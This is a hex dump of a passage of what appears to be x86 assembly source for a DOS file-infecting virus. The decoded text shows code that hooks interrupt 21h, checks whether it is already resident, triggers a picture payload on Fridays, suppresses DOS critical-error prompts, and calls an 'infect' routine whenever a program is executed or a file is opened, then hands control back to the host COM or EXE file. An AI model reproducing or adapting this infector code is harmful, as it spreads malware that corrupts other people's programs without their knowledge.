|00001010| 72 6f 67 72 61 6d 20 74 | 6f 20 74 6f 70 0d 0a 20 |rogram t|o top.. |
|00001020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00001030| 75 73 68 20 20 20 20 63 | 73 0d 0a 20 20 20 20 20 |ush    c|s..     |
|00001040| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00001050| 20 20 20 64 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   ds.. |        |
|00001060| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 |       m|ov     c|
|00001070| 78 2c 46 49 4c 45 4c 45 | 4e 0d 0a 20 20 20 20 20 |x,FILELE|N..     |
|00001080| 20 20 20 72 65 70 20 20 | 20 20 20 6d 6f 76 73 62 |   rep  |   movsb|
|00001090| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|000010a0| 20 20 20 20 70 75 73 68 | 20 20 20 20 65 73 0d 0a |    push|    es..|
|000010b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000010c0| 70 6f 70 20 20 20 20 20 | 64 73 0d 0a 0d 0a 20 20 |pop     |ds....  |
|000010d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|000010e0| 76 20 20 20 20 20 61 78 | 2c 33 35 32 31 20 20 20 |v     ax|,3521   |
|000010f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 67 |        |      ;g|
|00001100| 65 74 20 6f 72 69 67 69 | 6e 61 6c 20 69 6e 74 32 |et origi|nal int2|
|00001110| 31 20 76 65 63 74 6f 72 | 0d 0a 20 20 20 20 20 20 |1 vector|..      |
|00001120| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |        |  int   |
|00001130| 20 20 32 31 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  21..  |        |
|00001140| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 |      mo|v     ds|
|00001150| 3a 5b 6f 69 32 31 5d 2c | 62 78 0d 0a 20 20 20 20 |:[oi21],|bx..    |
|00001160| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00001170| 20 20 20 20 64 73 3a 5b | 6f 69 32 31 2b 32 5d 2c |    ds:[|oi21+2],|
|00001180| 65 73 0d 0a 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |es....  |        |
|00001190| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 |      mo|v     dx|
|000011a0| 2c 6f 66 66 73 65 74 20 | 6e 69 32 31 20 20 20 20 |,offset |ni21    |
|000011b0| 20 20 20 20 20 20 3b 69 | 6e 73 74 61 6c 6c 20 6e |      ;i|nstall n|
|000011c0| 65 77 20 69 6e 74 32 31 | 20 68 61 6e 64 6c 65 72 |ew int21| handler|
|000011d0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000011e0| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 32 35 32 |  mov   |  ax,252|
|000011f0| 31 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1..     |        |
|00001200| 20 20 20 69 6e 74 20 20 | 20 20 20 32 31 0d 0a 0d |   int  |   21...|
|00001210| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001220| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 33 33 44 42 | mov    | ax,33DB|
|00001230| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00001240| 20 3b 69 6e 69 74 2e 20 | 72 61 6e 64 6f 6d 20 6e | ;init. |random n|
|00001250| 72 2e 20 67 65 6e 65 72 | 61 74 6f 72 0d 0a 20 20 |r. gener|ator..  |
|00001260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e |        |      in|
|00001270| 74 20 20 20 20 20 32 31 | 0d 0a 0d 0a 20 20 20 20 |t     21|....    |
|00001280| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00001290| 20 20 20 20 61 68 2c 32 | 41 20 20 20 20 20 20 20 |    ah,2|A       |
|000012a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 61 73 6b |        |    ;ask|
|000012b0| 20 64 61 74 65 0d 0a 20 | 20 20 20 20 20 20 20 20 | date.. |        |
|000012c0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 |       i|nt     2|
|000012d0| 31 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1..     |        |
|000012e0| 20 20 20 63 6d 70 20 20 | 20 20 20 61 6c 2c 35 20 |   cmp  |   al,5 |
|000012f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001300| 20 20 20 3b 66 72 69 64 | 61 79 20 3f 0d 0a 20 20 |   ;frid|ay ?..  |
|00001310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 6e |        |      jn|
|00001320| 65 20 20 20 20 20 6e 6f | 74 5f 69 6e 73 74 61 6c |e     no|t_instal|
|00001330| 6c 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |l..     |        |
|00001340| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 32 43 |   mov  |   ah,2C|
|00001350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001360| 20 20 20 3b 61 73 6b 20 | 74 69 6d 65 0d 0a 20 20 |   ;ask |time..  |
|00001370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e |        |      in|
|00001380| 74 20 20 20 20 20 32 31 | 0d 0a 20 20 20 20 20 20 |t     21|..      |
|00001390| 20 20 20 20 20 20 20 20 | 20 20 6f 72 20 20 20 20 |        |  or    |
|000013a0| 20 20 64 68 2c 64 68 20 | 20 20 20 20 20 20 20 20 |  dh,dh |        |
|000013b0| 20 20 20 20 20 20 20 20 | 20 20 3b 73 65 63 20 3d |        |  ;sec =|
|000013c0| 20 30 20 3f 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | 0 ?..  |        |
|000013d0| 20 20 20 20 20 20 6a 6e | 7a 20 20 20 20 20 6e 6f |      jn|z     no|
|000013e0| 74 5f 69 6e 73 74 61 6c | 6c 0d 0a 20 20 20 20 20 |t_instal|l..     |
|000013f0| 20 20 20 20 20 20 20 20 | 20 20 20 0d 0a 20 20 20 |        |   ..   |
|00001400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00001410| 20 20 20 20 20 61 78 2c | 33 33 44 43 20 20 20 20 |     ax,|33DC    |
|00001420| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 73 68 |        |     ;sh|
|00001430| 6f 77 20 70 69 63 74 75 | 72 65 0d 0a 20 20 20 20 |ow pictu|re..    |
|00001440| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 |        |    int |
|00001450| 20 20 20 20 32 31 0d 0a | 0d 0a 6e 6f 74 5f 69 6e |    21..|..not_in|
|00001460| 73 74 61 6c 6c 3a 20 20 | 20 20 70 6f 70 20 20 20 |stall:  |  pop   |
|00001470| 20 20 73 69 20 20 20 20 | 20 20 20 20 20 20 20 20 |  si    |        |
|00001480| 20 20 20 20 20 20 20 20 | 20 20 3b 72 65 73 74 6f |        |  ;resto|
|00001490| 72 65 20 72 65 67 69 73 | 74 65 72 73 0d 0a 20 20 |re regis|ters..  |
|000014a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|000014b0| 70 20 20 20 20 20 64 69 | 0d 0a 20 20 20 20 20 20 |p     di|..      |
|000014c0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |        |  pop   |
|000014d0| 20 20 65 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  es..  |        |
|000014e0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 |      po|p     ds|
|000014f0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00001500| 20 20 70 6f 70 20 20 20 | 20 20 61 78 0d 0a 0d 0a |  pop   |  ax....|
|00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001520| 61 64 64 20 20 20 20 20 | 73 69 2c 28 6f 66 66 73 |add     |si,(offs|
|00001530| 65 74 20 62 75 66 66 65 | 72 29 0d 0a 20 20 20 20 |et buffe|r)..    |
|00001540| 20 20 20 20 20 20 20 20 | 20 20 20 20 73 75 62 20 |        |    sub |
|00001550| 20 20 20 20 73 69 2c 64 | 69 0d 0a 20 20 20 20 20 |    si,d|i..     |
|00001560| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00001570| 20 20 20 62 79 74 65 20 | 70 74 72 20 63 73 3a 5b |   byte |ptr cs:[|
|00001580| 73 69 5d 2c 34 44 68 20 | 20 20 20 3b 43 4f 4d 20 |si],4Dh |   ;COM |
|00001590| 6f 72 20 45 58 45 20 3f | 0d 0a 20 20 20 20 20 20 |or EXE ?|..      |
|000015a0| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |        |  je    |
|000015b0| 20 20 65 6e 74 72 79 45 | 0d 0a 0d 0a 65 6e 74 72 |  entryE|....entr|
|000015c0| 79 43 3a 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |yC:     |    push|
|000015d0| 20 20 20 20 64 69 0d 0a | 20 20 20 20 20 20 20 20 |    di..|        |
|000015e0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000015f0| 63 78 2c 42 55 46 4c 45 | 4e 0d 0a 20 20 20 20 20 |cx,BUFLE|N..     |
|00001600| 20 20 20 72 65 70 20 20 | 20 20 20 6d 6f 76 73 62 |   rep  |   movsb|
|00001610| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00001620| 20 20 72 65 74 0d 0a 0d | 0a 65 6e 74 72 79 45 3a |  ret...|.entryE:|
|00001630| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00001640| 20 62 78 2c 64 73 20 20 | 20 20 20 20 20 20 20 20 | bx,ds  |        |
|00001650| 20 20 20 20 20 20 20 20 | 20 3b 63 61 6c 63 75 6c |        | ;calcul|
|00001660| 61 74 65 20 43 53 0d 0a | 20 20 20 20 20 20 20 20 |ate CS..|        |
|00001670| 20 20 20 20 20 20 20 20 | 61 64 64 20 20 20 20 20 |        |add     |
|00001680| 62 78 2c 6c 6f 77 20 31 | 30 0d 0a 20 20 20 20 20 |bx,low 1|0..     |
|00001690| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000016a0| 20 20 20 63 78 2c 62 78 | 0d 0a 20 20 20 20 20 20 |   cx,bx|..      |
|000016b0| 20 20 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 |        |  add   |
|000016c0| 20 20 62 78 2c 63 73 3a | 5b 73 69 2b 30 45 5d 0d |  bx,cs:|[si+0E].|
|000016d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000016e0| 20 63 6c 69 20 20 20 20 | 20 20 20 20 20 20 20 20 | cli    |        |
|000016f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001700| 20 3b 72 65 73 74 6f 72 | 65 20 53 53 20 61 6e 64 | ;restor|e SS and|
|00001710| 20 53 50 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | SP..   |        |
|00001720| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 73 2c |     mov|     ss,|
|00001730| 62 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx..    |        |
|00001740| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 73 70 2c 63 |    mov |    sp,c|
|00001750| 73 3a 5b 73 69 2b 31 30 | 5d 0d 0a 20 20 20 20 20 |s:[si+10|]..     |
|00001760| 20 20 20 20 20 20 20 20 | 20 20 20 73 74 69 0d 0a |        |   sti..|
|00001770| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001780| 61 64 64 20 20 20 20 20 | 63 78 2c 63 73 3a 5b 73 |add     |cx,cs:[s|
|00001790| 69 2b 31 36 5d 0d 0a 20 | 20 20 20 20 20 20 20 20 |i+16].. |        |
|000017a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|000017b0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x       |        |
|000017c0| 20 20 20 20 20 20 20 3b | 70 75 73 68 20 6e 65 77 |       ;|push new|
|000017d0| 20 43 53 20 6f 6e 20 73 | 74 61 63 6b 0d 0a 20 20 | CS on s|tack..  |
|000017e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|000017f0| 73 68 20 20 20 20 63 73 | 3a 5b 73 69 2b 31 34 5d |sh    cs|:[si+14]|
|00001800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 70 |        |      ;p|
|00001810| 75 73 68 20 6e 65 77 20 | 49 50 20 6f 6e 20 73 74 |ush new |IP on st|
|00001820| 61 63 6b 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ack..   |        |
|00001830| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 30 43 42 |     db |     0CB|
|00001840| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00001850| 20 20 20 20 20 3b 72 65 | 74 66 0d 0a 0d 0a 0d 0a |     ;re|tf......|
|00001860| 3b 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |;*******|********|
|00001870| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001880| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001890| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000018a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 0d |********|*******.|
|000018b0| 0a 3b 2a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.;*     |        |
|000018c0| 20 49 6e 74 65 72 75 70 | 74 20 32 34 20 68 61 6e | Interup|t 24 han|
|000018d0| 64 6c 65 72 0d 0a 3b 2a | 2a 2a 2a 2a 2a 2a 2a 2a |dler..;*|********|
|000018e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000018f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001900| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001910| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001920| 2a 2a 2a 2a 2a 0d 0a 0d | 0a 6e 69 32 34 3a 20 20 |*****...|.ni24:  |
|00001930| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00001940| 20 61 6c 2c 33 20 20 20 | 20 20 20 20 20 20 20 20 | al,3   |        |
|00001950| 20 20 20 20 20 20 20 20 | 20 3b 74 6f 20 61 76 6f |        | ;to avo|
|00001960| 69 64 20 27 41 62 6f 72 | 74 2c 20 52 65 74 72 79 |id 'Abor|t, Retry|
|00001970| 2c 20 2e 2e 2e 27 0d 0a | 20 20 20 20 20 20 20 20 |, ...'..|        |
|00001980| 20 20 20 20 20 20 20 20 | 69 72 65 74 0d 0a 0d 0a |        |iret....|
|00001990| 0d 0a 3b 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..;*****|********|
|000019a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000019b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000019c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000019d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000019e0| 2a 0d 0a 3b 2a 20 20 20 | 20 20 20 20 20 20 20 20 |*..;*   |        |
|000019f0| 20 20 20 49 6e 74 65 72 | 75 70 74 20 32 31 20 68 |   Inter|upt 21 h|
|00001a00| 61 6e 64 6c 65 72 0d 0a | 3b 2a 2a 2a 2a 2a 2a 2a |andler..|;*******|
|00001a10| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001a20| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001a30| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001a40| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001a50| 2a 2a 2a 2a 2a 2a 2a 0d | 0a 0d 0a 6e 69 32 31 3a |*******.|...ni21:|
|00001a60| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 66 |        |   pushf|
|00001a70| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00001a80| 20 20 20 20 63 6d 70 20 | 20 20 20 20 61 78 2c 33 |    cmp |    ax,3|
|00001a90| 33 44 41 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3DA     |        |
|00001aa0| 20 20 20 20 3b 69 6e 73 | 74 61 6c 6c 2d 63 68 65 |    ;ins|tall-che|
|00001ab0| 63 6b 20 3f 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ck ?..  |        |
|00001ac0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 6e 6f |      jn|e     no|
|00001ad0| 74 5f 69 63 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |t_ic..  |        |
|00001ae0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 |      mo|v     ax|
|00001af0| 2c 30 41 35 30 30 2b 56 | 45 52 53 49 4f 4e 20 20 |,0A500+V|ERSION  |
|00001b00| 20 20 20 20 20 20 3b 72 | 65 74 75 72 6e 20 61 20 |      ;r|eturn a |
|00001b10| 73 69 67 6e 61 74 75 72 | 65 0d 0a 20 20 20 20 20 |signatur|e..     |
|00001b20| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 66 0d |        |   popf.|
|00001b30| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001b40| 20 69 72 65 74 0d 0a 0d | 0a 6e 6f 74 5f 69 63 3a | iret...|.not_ic:|
|00001b50| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |        | push   |
|00001b60| 20 65 73 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | es     |        |
|00001b70| 20 20 20 20 20 20 20 20 | 20 3b 73 61 76 65 20 72 |        | ;save r|
|00001b80| 65 67 69 73 74 65 72 73 | 0d 0a 20 20 20 20 20 20 |egisters|..      |
|00001b90| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00001ba0| 20 20 64 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  ds..  |        |
|00001bb0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 73 69 |      pu|sh    si|
|00001bc0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00001bd0| 20 20 70 75 73 68 20 20 | 20 20 64 69 0d 0a 20 20 |  push  |  di..  |
|00001be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|00001bf0| 73 68 20 20 20 20 64 78 | 0d 0a 20 20 20 20 20 20 |sh    dx|..      |
|00001c00| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00001c10| 20 20 63 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  cx..  |        |
|00001c20| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 62 78 |      pu|sh    bx|
|00001c30| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00001c40| 20 20 70 75 73 68 20 20 | 20 20 61 78 0d 0a 0d 0a |  push  |  ax....|
|00001c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001c60| 63 6d 70 20 20 20 20 20 | 61 78 2c 33 33 44 42 68 |cmp     |ax,33DBh|
|00001c70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001c80| 3b 72 6e 64 20 69 6e 69 | 74 20 3f 0d 0a 20 20 20 |;rnd ini|t ?..   |
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6e 65 |        |     jne|
|00001ca0| 20 20 20 20 20 6e 6f 74 | 5f 72 69 0d 0a 20 20 20 |     not|_ri..   |
|00001cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c |        |     cal|
|00001cc0| 6c 20 20 20 20 72 6e 64 | 5f 69 6e 69 74 0d 0a 20 |l    rnd|_init.. |
|00001cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00001ce0| 6d 70 20 20 20 20 20 73 | 68 6f 72 74 20 6e 6f 5f |mp     s|hort no_|
|00001cf0| 69 6e 66 65 63 74 0d 0a | 0d 0a 6e 6f 74 5f 72 69 |infect..|..not_ri|
|00001d00| 3a 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |:       |  cmp   |
|00001d10| 20 20 61 78 2c 33 33 44 | 43 20 20 20 20 20 20 20 |  ax,33D|C       |
|00001d20| 20 20 20 20 20 20 20 20 | 20 20 3b 73 68 6f 77 20 |        |  ;show |
|00001d30| 70 69 63 74 75 72 65 3f | 0d 0a 20 20 20 20 20 20 |picture?|..      |
|00001d40| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |        |  je    |
|00001d50| 20 20 73 68 6f 77 5f 70 | 69 63 0d 0a 0d 0a 6e 6f |  show_p|ic....no|
|00001d60| 74 5f 70 69 3a 20 20 20 | 20 20 20 20 20 20 63 6d |t_pi:   |      cm|
|00001d70| 70 20 20 20 20 20 61 78 | 2c 34 42 30 30 20 20 20 |p     ax|,4B00   |
|00001d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 65 |        |      ;e|
|00001d90| 78 65 63 75 74 65 20 3f | 0d 0a 20 20 20 20 20 20 |xecute ?|..      |
|00001da0| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |        |  je    |
|00001db0| 20 20 64 6f 5f 69 74 0d | 0a 0d 0a 20 20 20 20 20 |  do_it.|...     |
|00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00001dd0| 20 20 20 61 78 2c 36 43 | 30 30 20 20 20 20 20 20 |   ax,6C|00      |
|00001de0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 6f 70 65 6e |        |   ;open|
|00001df0| 20 44 4f 53 20 34 2e 30 | 2b 20 3f 0d 0a 20 20 20 | DOS 4.0|+ ?..   |
|00001e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6e 65 |        |     jne|
|00001e10| 20 20 20 20 20 6e 6f 5f | 69 6e 66 65 63 74 0d 0a |     no_|infect..|
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001e30| 74 65 73 74 20 20 20 20 | 62 6c 2c 33 0d 0a 20 20 |test    |bl,3..  |
|00001e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 6e |        |      jn|
|00001e50| 7a 20 20 20 20 20 6e 6f | 5f 69 6e 66 65 63 74 0d |z     no|_infect.|
|00001e60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001e70| 20 6d 6f 76 20 20 20 20 | 20 64 78 2c 64 69 0d 0a | mov    | dx,di..|
|00001e80| 0d 0a 64 6f 5f 69 74 3a | 20 20 20 20 20 20 20 20 |..do_it:|        |
|00001e90| 20 20 63 61 6c 6c 20 20 | 20 20 69 6e 66 65 63 74 |  call  |  infect|
|00001ea0| 0d 0a 0d 0a 6e 6f 5f 69 | 6e 66 65 63 74 3a 20 20 |....no_i|nfect:  |
|00001eb0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 61 78 20 20 |    pop |    ax  |
|00001ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ed0| 20 20 20 20 3b 72 65 73 | 74 6f 72 65 20 72 65 67 |    ;res|tore reg|
|00001ee0| 69 73 74 65 72 73 0d 0a | 20 20 20 20 20 20 20 20 |isters..|        |
|00001ef0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00001f00| 62 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx..    |        |
|00001f10| 20 20 20 20 70 6f 70 20 | 20 20 20 20 63 78 0d 0a |    pop |    cx..|
|00001f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001f30| 70 6f 70 20 20 20 20 20 | 64 78 0d 0a 20 20 20 20 |pop     |dx..    |
|00001f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |        |    pop |
|00001f50| 20 20 20 20 64 69 0d 0a | 20 20 20 20 20 20 20 20 |    di..|        |
|00001f60| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00001f70| 73 69 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |si..    |        |
|00001f80| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 73 0d 0a |    pop |    ds..|
|00001f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001fa0| 70 6f 70 20 20 20 20 20 | 65 73 0d 0a 20 20 20 20 |pop     |es..    |
|00001fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 66 |        |    popf|
|00001fc0| 0d 0a 0d 0a 6f 72 67 32 | 31 3a 20 20 20 20 20 20 |....org2|1:      |
|00001fd0| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 64 77 6f 72 |    jmp |    dwor|
|00001fe0| 64 20 70 74 72 20 63 73 | 3a 5b 6f 69 32 31 5d 20 |d ptr cs|:[oi21] |
|00001ff0| 20 20 20 20 3b 63 61 6c | 6c 20 74 6f 20 6f 6c 64 |    ;cal|l to old|
|00002000| 20 69 6e 74 2d 68 61 6e | 64 6c 65 72 0d 0a 0d 0a | int-han|dler....|
|00002010| 0d 0a 3b 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..;*****|********|
|00002020| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002030| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002040| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002050| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002060| 2a 0d 0a 3b 2a 20 20 20 | 20 20 20 20 20 20 20 20 |*..;*   |        |
|00002070| 20 20 20 53 68 6f 77 20 | 70 69 63 74 75 72 65 0d |   Show |picture.|
|00002080| 0a 3b 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.;******|********|
|00002090| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000020a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000020b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000020c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000020d0| 0d 0a 0d 0a 73 68 6f 77 | 5f 70 69 63 3a 20 20 20 |....show|_pic:   |
|000020e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 6f |    mov |    ax,o|
|000020f0| 66 66 73 65 74 20 6e 6f | 5f 69 6e 66 65 63 74 20 |ffset no|_infect |
|00002100| 20 20 20 20 3b 70 75 73 | 68 20 72 65 74 75 72 6e |    ;pus|h return|
|00002110| 20 61 64 72 65 73 20 6f | 6e 20 73 74 61 63 6b 0d | adres o|n stack.|
|00002120| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002130| 20 70 75 73 68 20 20 20 | 20 63 73 0d 0a 20 20 20 | push   | cs..   |
|00002140| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |        |     pus|
|00002150| 68 20 20 20 20 61 78 0d | 0a 0d 0a 20 20 20 20 20 |h    ax.|...     |
|00002160| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
